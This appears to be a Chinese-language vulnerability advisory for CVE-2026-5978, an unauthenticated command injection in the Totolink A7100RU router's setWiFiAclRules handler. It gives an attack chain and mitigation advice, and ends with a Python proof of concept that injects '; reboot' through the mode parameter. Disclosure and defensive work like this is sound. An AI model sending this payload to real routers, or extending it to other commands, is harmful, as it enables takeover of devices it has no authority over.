IPBUF安全漏洞报告
English
CVE-2026-5978 CVSS 9.8 严重

CVE-2026-5978 Totolink A7100RU远程命令执行漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-5978
漏洞类型
操作系统命令注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Totolink A7100RU

相关标签

RCE命令注入路由器IoTTotolinkCVE-2026-5978无需认证

漏洞概述

Totolink A7100RU路由器7.4cu.2313_b20191024版本存在严重的操作系统命令注入漏洞。由于`/cgi-bin/cstecgi.cgi`处理程序中`setWiFiAclRules`函数对`mode`参数缺乏严格的输入验证,未经身份验证的远程攻击者可利用该漏洞注入恶意操作系统命令,从而在目标设备上执行任意代码,导致设备权限完全被接管,造成极高的安全风险。

技术细节

该漏洞源于Totolink A7100RU路由器Web管理界面的CGI处理程序。具体而言,在`/cgi-bin/cstecgi.cgi`文件中,`setWiFiAclRules`函数负责处理WiFi访问控制规则设置。由于代码逻辑缺陷,该函数未对用户提交的`mode`参数进行有效的安全过滤或转义,便直接将其拼接到系统Shell命令中执行。攻击者可以利用这一疏忽,通过发送特制的HTTP POST请求,在`mode`字段中注入Shell元字符(如分号或反引号),从而强制服务器执行任意恶意指令。鉴于CVSS评分高达9.8且无需认证,此漏洞对内网安全构成极高威胁。

攻击链分析

STEP 1
侦察
攻击者扫描网络,寻找暴露在公网且运行Totolink A7100RU固件版本为7.4cu.2313_b20191024的目标设备。
STEP 2
漏洞利用
攻击者向目标设备的`/cgi-bin/cstecgi.cgi`接口发送特制的POST请求,在`setWiFiAclRules`函数的`mode`参数中注入恶意Shell命令。
STEP 3
命令执行
由于未对参数进行过滤,后端CGI程序将恶意参数拼接到系统命令中执行,攻击者获得设备上的Shell权限。
STEP 4
权限维持
攻击者利用获得的权限修改系统配置、安装后门或进一步横向移动,完全控制路由器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL target = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" # Vulnerable payload: OS command injection # Example: Rebooting the router or creating a test file payload = "; reboot" headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } # Data structure based on the setWiFiAclRules function data = { "function": "setWiFiAclRules", "mode": payload, "index": "0" } try: response = requests.post(target, json=data, headers=headers, timeout=5) if response.status_code == 200: print("[+] Payload sent successfully. Check device status.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

影响范围

Totolink A7100RU 7.4cu.2313_b20191024

防御指南

临时缓解措施
建议立即检查设备固件版本,若受影响应断开网络连接并升级固件,或在防火墙层面对管理接口进行严格的访问控制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表